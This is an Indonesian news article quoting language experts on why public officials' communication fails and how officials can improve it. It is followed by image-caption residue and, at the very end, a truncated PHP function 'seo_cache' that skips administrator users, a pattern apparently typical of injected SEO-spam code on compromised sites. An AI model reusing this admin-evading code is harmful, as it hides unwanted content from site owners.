Nasional

Kurang Peka terhadap Konteks Sosial dan Penggunaan Bahasa yang Tanpa Rasa Jadi Sebab Berulangnya Kasus Kegagalan Komunikasi Pejabat Publik

×

Kurang Peka terhadap Konteks Sosial dan Penggunaan Bahasa yang Tanpa Rasa Jadi Sebab Berulangnya Kasus Kegagalan Komunikasi Pejabat Publik

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM Sejumlah pakar mengemukakan pendapat terkait maraknya kasus komunikasi pejabat publik yang bermasalah.

Ahli Pertama Balai Bahasa Provinsi Kalimantan Timur, Ali Kusno Widyabasa mengungkap, ada beberapa akar masalah dari terus berulangnya kasus kegagalan komunikasi pejabat publik.

“Penyebab utamanya adalah kurangnya kepekaan terhadap konteks sosial, penggunaan bahasa yang tanpa rasa, serta adanya sumbatan aspirasi dari publik,” ujarnya beberapa waktu lalu dikutip dari Antara News.

Sering kali, kata dia, pejabat terlalu asyik dengan suaranya sendiri, lalu menganggap kritik sebagai serangan personal.

Dikutip dari Kaltimpost Jawa Pos, Jumat (15/08/2025), Guru Besar Fakultas Ilmu Budaya Universitas Indonesia, Rahayu Sutiarti Hidayat mengatakan, ada sejumlah solusi untuk mengatasi persoalan ini.

“Pejabat harus berhati-hati dalam memilih bahasa, dimana pesan perlu disederhanakan agar mudah diterima oleh seluruh lapisan masyarakat,” imbaunya.

Ahli linguistik dan komunikasi publik itu menyebut, pemilihan diksi yang tepat dan struktur kalimat yang sederhana adalah kunci utama komunikasi yang efektif.

Menurut dia, bahasa yang jelas menunjukkan integritas dan dapat membangun empati antara pembicara dengan pendengar.

“Pejabat publik perlu memahami konteks sosial dan budaya yang bisa disesuaikan dengan gaya komunikasinya,” timpal Rahayu.

Memperbanyak dialog publik yang terbuka dan tulus merupakan langkah awal yang bisa dilakukan.

Dirinya juga meminta agar pejabat jangan malas menjaring aspirasi.

Kehadiran secara fisik untuk mendengar setiap keluhan di tengah masyarakat, jauh lebih berharga daripada seribu kata di depan kamera.

“Terakhir, para pejabat perlu mengubah sikap defensif menjadi responsif,” imbuhnya.

Kritik harus dipandang sebagai masukan berharga untuk perbaikan, bukan sebagai serangan pribadi.

Kesalahan komunikasi pejabat di daerah lain mesti dijadikan pelajaran.

“Pahami keberagaman, rangkul masyarakat dengan penuh hormat, gunakan bahasa yang jelas, dan optimalkan penggunaan media sosial,” tutupnya. ( TAP/MS )




This image has an empty alt attribute; its file name is IMG-20250813-WA0084.jpg
This image has an empty alt attribute; its file name is DPRD-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is PT-BUMI-INDAH-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is BPBD-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is DINAS-PETERNAKAN-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is DINAS-PERTANIAN-HUT-RI-1-scaled.jpg
This image has an empty alt attribute; its file name is IMG-20250805-WA0041.jpg
This image has an empty alt attribute; its file name is HUT-RI-SINAR-TAMBOLAKA-scaled.jpg
This image has an empty alt attribute; its file name is IMG-20250420-WA0067.jpg
This image has an empty alt attribute; its file name is PASKAH-DPRD-scaled.jpg
This image has an empty alt attribute; its file name is IMG-20250419-WA0001.jpg
This image has an empty alt attribute; its file name is PASKAH-CAP-KAROSO-scaled.jpg
This image has an empty alt attribute; its file name is PASKAH-ARYA-scaled.jpg

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>